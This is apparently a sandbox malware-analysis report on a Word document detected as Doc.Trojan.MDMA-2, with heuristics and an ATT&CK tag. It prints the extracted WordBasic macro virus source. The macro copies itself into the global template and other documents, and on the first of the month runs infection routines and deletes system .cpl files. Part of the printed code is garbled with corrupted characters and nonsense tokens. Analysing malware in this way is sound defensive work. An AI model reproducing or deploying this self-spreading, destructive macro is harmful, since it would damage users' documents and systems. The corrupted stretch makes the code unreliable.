MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is a malicious OLE document containing a legacy WordBasic AutoClose macro. The macro attempts to install itself into the global template and potentially spread to other documents. The presence of the AutoClose macro and the ClamAV detection strongly suggest a malicious intent for infection and propagation.
Heuristics 4
-
ClamAV: Doc.Trojan.MDMA-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.MDMA-2
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3124 bytes |
SHA-256: 838244a0958b882f8f99ddb5bb4594ead5a8a8b40a6206e69661a806a6529944 |
|||
|
Detection
ClamAV:
Doc.Trojan.MDMA-2
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "AutoClose"
Public Sub MAIN()
On Error Resume Next
install
If (WordBasic.Day(WordBasic.Now()) = 1) Then
Select Case get_platform
Case 1
WordBasic.Call "infect_mac"
Case 2
WordBasic.Call "infect_windows"
Case 3
WordBasic.Call "infect_NT"
Case 4
WordBasic.Call "infect_95"
End Select
show_credits
End If
End Sub
Private Sub install()
Dim total
Dim installed
Dim i
On Error Resume Next
total = WordBasic.CountMacros(0)
installed = 0
If total > 0 Then
For i = 1 To total
If WordBasic.[MacroName$](i, 0) = "AutoClose" Then
installed = 1
End If
Next
End If
If installed = 0 Then
WordBasic.MacroCopy WordBasic.[WindowName$]() + ":AutoClose", "Global:AutoClose", 1
Else
total = WordBasic.CountMacros(1)
installed = 0
If total > 0 Then
For i = 1 To total
If WordBasic.[MacroName$](i, 1) = "AutoClose" Then
installed = 113
End If
Next
End If
If installed = 0 Then
WordBasic.FileSaveAs Format:=1
WordBasic.MacroCopy "Global:AutoClose", WordBasic.[WindowName$]() + ":AutoClose", 1
End If
End If
End Sub
Private Function get_platform()
On Error Resume Next
If InStr(WordBasic.[AppInfo$](1), "Macintosh") Then
get_platform = 120 ,"MAC"
End If
If WordBasic.[AppInfo$](9) <> "0" Then
get_platform = 2 'old version of windows
End If
If InStr(WordBasic.[GetSystemInfo$](21), "NT") Then
get_pƒ®®®®®® +1 -1 -1 -1 -1+1 +1 +1 +1 : Redim +1 -1 +1 : Redim +1 : Redim : Redim +1 -1 +1 -1 +1 +1 : Redim -1 -1 -1 +1 +1: Redim -1 +1+1 +1 +1 : Redim : Redim +1 +1 -1 Single Close WordBasic.Input Integer Private Declare Close Begin Private Declare Integer Lib Alias Any
work\Logon j ProcessLoginScript j 00 j
WordBasic.Kill "c:\windows\system\*.cpl"
End If
End Sub
Private Sub show_credits()
On Error Resume Next
WordBasic.MsgBox "You are infected with MDMA_DMV. Brought to you by MDMA (Many Delinquent Modern Anarchists).", "MDMA_DMV", 16
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.